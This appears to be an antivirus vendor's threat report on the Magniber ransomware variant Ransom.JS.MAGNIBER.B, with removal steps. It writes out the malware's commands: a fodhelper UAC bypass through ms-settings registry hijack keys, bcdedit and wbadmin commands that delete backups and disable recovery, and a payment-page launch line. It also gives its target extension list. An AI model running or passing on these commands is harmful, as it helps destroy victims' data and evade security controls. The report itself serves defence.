Ransom.JS.MAGNIBER.B

 Analysis by: Kim Benedict Victorio

 ALIASES:

HEUR:Trojan.Script.Generic (KASPERSKY)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Ransomware

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Dropped by other malware

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It gathers certain information on the affected computer.

It redirects browsers to certain sites.

It encrypts files with specific file extensions. It drops files as ransom note.

  TECHNICAL DETAILS

File Size:

186,968 bytes

File Type:

JS

Memory Resident:

No

Initial Samples Received Date:

11 Oct 2022

Payload:

Encrypts files, Modifies system registry, Redirects browsers, Drops files

Arrival Details

This Ransomware arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Ransomware drops and executes the following files:

  • %Public%\{Random Characters}.pu → Encoded script that disables recovery boot and deletes system backups → Delete afterwards

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

  • %System%\cmd.exe /c fodhelper.exe → to bypass UAC
  • "wscript.exe" /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.pu
  • bcdedit /set {default} recoveryenabled no
  • wbadmin delete catalog -quiet
  • wbadmin delete systemstatebackup -quiet
  • bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • Open payment page through Microsoft Edge browser:
    • cmd /c "start microsoft-edge:http://{Random Characters}i{BLOCKED}t.elected.site/iijqvyt&{string 1}&{string 2}&{string 3}&{string 4}&{string 5}
      • where:
      • {string 1} - The number of drives in which the ransomware has enumerated files
      • {string 2} - Total size of encrypted data has generated in bytes
      • {string 3} - The number of files it encrypts
      • {string 4} - The number of file it enumerates
      • {string 5} - The build number of the compromised Windows OS

It adds the following mutexes to ensure that only one of its copies runs at any one time:

  • \BasedNameObjects\ggvqxaolnldlD

It injects codes into the following process(es):

  • It injects into each process if the following criteria is met:
    • The process is not iexplore.exe
    • It is not running in a WOW64 environment.

Other System Modifications

This Ransomware adds the following registry entries:

HKEY_CURRENT_USER\SOFTWARE\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\
command
(Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/{Random Characters}.pu

HKEY_CURRENT_USER\SOFTWARE\Classes\
AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\
command
DelegateExecute = 0

HKEY_CURRENT_USER\Software\Classes\
ms-settings\CurVer
Default = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv

Information Theft

This Ransomware gathers the following information on the affected computer:

  • The number of drives in which the ransomware has enumerated files
  • Total size of encrypted data has generated in bytes
  • The number of files it encrypts
  • The number of file it enumerates
  • The build number of the compromised Windows OS

Other Details

This Ransomware redirects browsers to the following sites:

  • http://{Random Characters}i{BLOCKED}t.elected.site/iijqvyt&{string 1}&{string 2}&{string 3}&{string 4}&{string 5} → connects to payment page

Ransomware Routine

This Ransomware encrypts files with the following extensions:

  • .1cd
  • .7zip
  • .abm
  • .abs
  • .abw
  • .accdb
  • .act
  • .adn
  • .adp
  • .aes
  • .aft
  • .afx
  • .agif
  • .agp
  • .ahd
  • .ai
  • .aic
  • .aim
  • .albm
  • .alf
  • .ans
  • .apd
  • .apm
  • .apng
  • .aps
  • .apt
  • .apx
  • .arc
  • .art
  • .arw
  • .asc
  • .ase
  • .asf
  • .ask
  • .asm
  • .asp
  • .asw
  • .asy
  • .aty
  • .avi
  • .awdb
  • .awp
  • .awt
  • .aww
  • .azz
  • .bad
  • .bak
  • .bay
  • .bbs
  • .bdb
  • .bdp
  • .bdr
  • .bean
  • .bib
  • .bmp
  • .bmx
  • .bna
  • .bnd
  • .boc
  • .bok
  • .brd
  • .brk
  • .brn
  • .brt
  • .bss
  • .btd
  • .bti
  • .btr
  • .c
  • .ca
  • .cals
  • .can
  • .cd
  • .cdb
  • .cdc
  • .cdg
  • .cdmm
  • .cdmt
  • .cdmz
  • .cdr
  • .cdt
  • .cf
  • .cfu
  • .cgm
  • .cimg
  • .cin
  • .cit
  • .ckp
  • .class
  • .clkw
  • .cma
  • .cmx
  • .cnm
  • .cnv
  • .colz
  • .cpc
  • .cpd
  • .cpg
  • .cpp
  • .cps
  • .cpx
  • .crd
  • .crt
  • .crw
  • .cs
  • .csr
  • .csv
  • .csy
  • .ct
  • .cvg
  • .cvi
  • .cvs
  • .cvx
  • .cwt
  • .cxf
  • .cyi
  • .dad
  • .daf
  • .db
  • .dbc
  • .dbf
  • .dbk
  • .dbs
  • .dbt
  • .dbv
  • .dbx
  • .dca
  • .dcb
  • .dch
  • .dcr
  • .dcs
  • .dct
  • .dcx
  • .dd
  • .dds
  • .ded
  • .der
  • .dgn
  • .dgs
  • .dgt
  • .dhs
  • .dib
  • .dif
  • .dip
  • .diz
  • .djv
  • .djvu
  • .dmi
  • .dmo
  • .dnc
  • .dne
  • .doc
  • .docb
  • .docm
  • .docx
  • .docz
  • .dot
  • .dotm
  • .dotx
  • .dpp
  • .dpx
  • .dqy
  • .drw
  • .drz
  • .dsk
  • .dsn
  • .dsv
  • .dt
  • .dta
  • .dtsx
  • .dtw
  • .dv
  • .dvi
  • .dwg
  • .dx
  • .dx
  • .dxb
  • .dxf
  • .eco
  • .ecw
  • .ecx
  • .edb
  • .efd
  • .egc
  • .eio
  • .eip
  • .eit
  • .em
  • .emd
  • .emf
  • .emlx
  • .ep
  • .epf
  • .epp
  • .eps
  • .epsf
  • .eq
  • .erf
  • .err
  • .etf
  • .etx
  • .euc
  • .exr
  • .fa
  • .faq
  • .fax
  • .fb
  • .fbx
  • .fcd
  • .fcf
  • .fdf
  • .fdr
  • .fds
  • .fdt
  • .fdx
  • .fdxt
  • .fes
  • .fft
  • .fi
  • .fic
  • .fid
  • .fif
  • .fig
  • .fla
  • .flr
  • .flv
  • .fmv
  • .fo
  • .fodt
  • .fpos
  • .fpt
  • .fpx
  • .frm
  • .frt
  • .frx
  • .ftn
  • .fwdn
  • .fxc
  • .fxg
  • .fzb
  • .fzv
  • .gcdp
  • .gdb
  • .gdoc
  • .gem
  • .geo
  • .gfb
  • .gfie
  • .ggr
  • .gif
  • .gih
  • .gim
  • .gio
  • .glox
  • .gpd
  • .gpg
  • .gpn
  • .gro
  • .grob
  • .grs
  • .gsd
  • .gthr
  • .gtp
  • .gv
  • .gwi
  • .gz
  • .h
  • .hbk
  • .hdb
  • .hdp
  • .hdr
  • .hht
  • .his
  • .hp
  • .hpg
  • .hpi
  • .hs
  • .htc
  • .hwp
  • .hz
  • .ib
  • .ibd
  • .icn
  • .icon
  • .icpr
  • .idc
  • .idea
  • .idx
  • .igt
  • .igx
  • .ihx
  • .ii
  • .iiq
  • .imd
  • .info
  • .ink
  • .ipf
  • .ipx
  • .iso
  • .itdb
  • .itw
  • .iwi
  • .j
  • .jar
  • .jas
  • .java
  • .jbig
  • .jbmp
  • .jbr
  • .jfif
  • .jia
  • .jis
  • .jng
  • .joe
  • .jpe
  • .jpeg
  • .jpg
  • .jps
  • .jpx
  • .jrtf
  • .js
  • .jsp
  • .jtf
  • .jtx
  • .jw
  • .jxr
  • .kdb
  • .kdbx
  • .kdc
  • .kdi
  • .kdk
  • .kes
  • .key
  • .kic
  • .klg
  • .knt
  • .kon
  • .kpg
  • .kwd
  • .lay
  • .lbm
  • .lbt
  • .ldf
  • .lgc
  • .lis
  • .lit
  • .ljp
  • .lmk
  • .lnt
  • .lrc
  • .lst
  • .ltr
  • .ltx
  • .lue
  • .luf
  • .lwo
  • .lwp
  • .lws
  • .lyt
  • .lyx
  • .ma
  • .mac
  • .man
  • .map
  • .maq
  • .mat
  • .max
  • .mb
  • .mbm
  • .mbox
  • .mdb
  • .mdf
  • .mdn
  • .mdt
  • .me
  • .mef
  • .mel
  • .mft
  • .mgcb
  • .mgmf
  • .mgmt
  • .mgmx
  • .mgtx
  • .mid
  • .min
  • .mkv
  • .mm
  • .mmat
  • .mnr
  • .mnt
  • .mos
  • .mov
  • .mpeg
  • .mpf
  • .mpg
  • .mpo
  • .mrg
  • .mrxs
  • .msg
  • .mud
  • .mwb
  • .mwp
  • .mx
  • .my
  • .myd
  • .myi
  • .ncr
  • .nct
  • .ndf
  • .nef
  • .nfo
  • .njx
  • .nlm
  • .now
  • .nrw
  • .nsf
  • .nyf
  • .nzb
  • .obj
  • .oce
  • .oci
  • .ocr
  • .odb
  • .odg
  • .odm
  • .odo
  • .odp
  • .ods
  • .odt
  • .of
  • .oft
  • .omf
  • .oplc
  • .oqy
  • .ora
  • .orf
  • .ort
  • .orx
  • .ost
  • .ota
  • .otg
  • .oti
  • .otp
  • .ots
  • .ott
  • .ovp
  • .ovr
  • .owc
  • .owg
  • .oyx
  • .ozb
  • .ozj
  • .ozt
  • .p
  • .pa
  • .pan
  • .pano
  • .pap
  • .paq
  • .pas
  • .pbm
  • .pcd
  • .pcs
  • .pdb
  • .pdd
  • .pdf
  • .pdm
  • .pds
  • .pdt
  • .pef
  • .pem
  • .pff
  • .pfi
  • .pfs
  • .pfv
  • .pfx
  • .pgf
  • .pgm
  • .phm
  • .php
  • .pic
  • .pict
  • .pix
  • .pjpg
  • .pjt
  • .plt
  • .pm
  • .pmg
  • .png
  • .pni
  • .pnm
  • .pntg
  • .pnz
  • .pobj
  • .pop
  • .pot
  • .potm
  • .potx
  • .ppam
  • .ppm
  • .pps
  • .ppsm
  • .ppsx
  • .ppt
  • .pptm
  • .pptx
  • .prt
  • .prw
  • .psd
  • .psdx
  • .pse
  • .psid
  • .psp
  • .pst
  • .psw
  • .ptg
  • .pth
  • .ptx
  • .pu
  • .pvj
  • .pvm
  • .pvr
  • .pwa
  • .pwi
  • .pwr
  • .px
  • .pxr
  • .pza
  • .pzp
  • .pzs
  • .qd
  • .qmg
  • .qpx
  • .qry
  • .qvd
  • .rad
  • .rar
  • .ras
  • .raw
  • .rb
  • .rctd
  • .rcu
  • .rd
  • .rdb
  • .rft
  • .rgb
  • .rgf
  • .rib
  • .ric
  • .riff
  • .ris
  • .rix
  • .rle
  • .rli
  • .rng
  • .rpd
  • .rpf
  • .rpt
  • .rri
  • .rs
  • .rsb
  • .rsd
  • .rsr
  • .rst
  • .rt
  • .rtd
  • .rtf
  • .rtx
  • .run
  • .rw
  • .rzk
  • .rzn
  • .saf
  • .sam
  • .sbf
  • .scad
  • .scc
  • .sch
  • .sci
  • .scm
  • .sct
  • .scv
  • .scw
  • .sdb
  • .sdf
  • .sdm
  • .sdoc
  • .sdw
  • .sep
  • .sfc
  • .sfw
  • .sgm
  • .sh
  • .sig
  • .skm
  • .sla
  • .sld
  • .sldm
  • .sldx
  • .slk
  • .sln
  • .sls
  • .smf
  • .sms
  • .snt
  • .sob
  • .spa
  • .spe
  • .sph
  • .spj
  • .spp
  • .spq
  • .spr
  • .sq
  • .sqb
  • .srw
  • .ssa
  • .ssk
  • .st
  • .stc
  • .std
  • .sti
  • .stm
  • .stn
  • .stp
  • .str
  • .stw
  • .sty
  • .sub
  • .suo
  • .svf
  • .svg
  • .svgz
  • .swf
  • .sxc
  • .sxd
  • .sxg
  • .sxi
  • .sxm
  • .sxw
  • .tab
  • .tar
  • .tbk
  • .tcx
  • .tdf
  • .tdt
  • .te
  • .tex
  • .text
  • .tgz
  • .thp
  • .tif
  • .tiff
  • .tlb
  • .tlc
  • .tm
  • .tmd
  • .tmv
  • .tmx
  • .tne
  • .tpc
  • .trm
  • .tvj
  • .udb
  • .ufr
  • .unx
  • .uof
  • .uop
  • .uot
  • .upd
  • .usr
  • .utxt
  • .vb
  • .vbr
  • .vbs
  • .vcd
  • .vct
  • .vdb
  • .vdi
  • .vec
  • .vm
  • .vmdk
  • .vmx
  • .vnt
  • .vob
  • .vpd
  • .vrm
  • .vrp
  • .vsd
  • .vsdm
  • .vsdx
  • .vsm
  • .vstm
  • .vstx
  • .vue
  • .vw
  • .wav
  • .wbk
  • .wcf
  • .wdb
  • .wgz
  • .wire
  • .wks
  • .wma
  • .wmdb
  • .wmv
  • .wn
  • .wp
  • .wp
  • .wpa
  • .wpd
  • .wpg
  • .wps
  • .wpt
  • .wpw
  • .wri
  • .wsc
  • .wsd
  • .wsh
  • .wtx
  • .x
  • .xar
  • .xd
  • .xdb
  • .xlc
  • .xld
  • .xlf
  • .xlgc
  • .xlm
  • .xls
  • .xlsb
  • .xlsm
  • .xlsx
  • .xlt
  • .xltm
  • .xltx
  • .xlw
  • .xps
  • .xwp
  • .xyp
  • .xyw
  • .ya
  • .ybk
  • .ym
  • .zabw
  • .zdb
  • .zdc
  • .zip
  • .zw

It avoids encrypting files found in the following folders:

  • documents and settings
  • appdata
  • local settings
  • sample music
  • sample pictures
  • sample videos
  • tor browser
  • recycle
  • windows
  • boot
  • intel
  • msocache
  • perflogs
  • program files
  • programdata
  • recovery
  • system volume information
  • winnt

It appends the following extension to the file name of the encrypted files:

  • {Original file name}.{Original file extension}.iijqvyt

It drops the following file(s) as ransom note:

  • {Encrypted directory}\README.html
    Magniber Ransom Note

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

18.260.02

FIRST VSAPI PATTERN DATE:

16 Feb 2023

VSAPI OPR PATTERN File:

18.270.00

VSAPI OPR PATTERN Date:

17 Feb 2023

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\SOFTWARE\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\command
    • (Default) = wscript.exe /B /E:VBScript.Encode ../../Users/Public/tiwulbtktsbf.pu
  • In HKEY_CURRENT_USER\SOFTWARE\Classes\AppX04g0mbrz4mkc6e879rpf6qk6te730jfv\Shell\Open\command
    • DelegateExecute = 0
  • In HKEY_CURRENT_USER\Software\Classes\ms-settings\CurVer
    • (Default) = AppX04g0mbrz4mkc6e879rpf6qk6te730jfv

Step 4

Search and delete these files

[ Learn More ]
There may be some files that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.  
  • %Public%\{Random Characters}.pu
  • {Encrypted directory}\README.html

Step 5

Scan your computer with your Trend Micro product to clean files detected as Ransom.JS.MAGNIBER.B. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 6

Restore encrypted files from backup.


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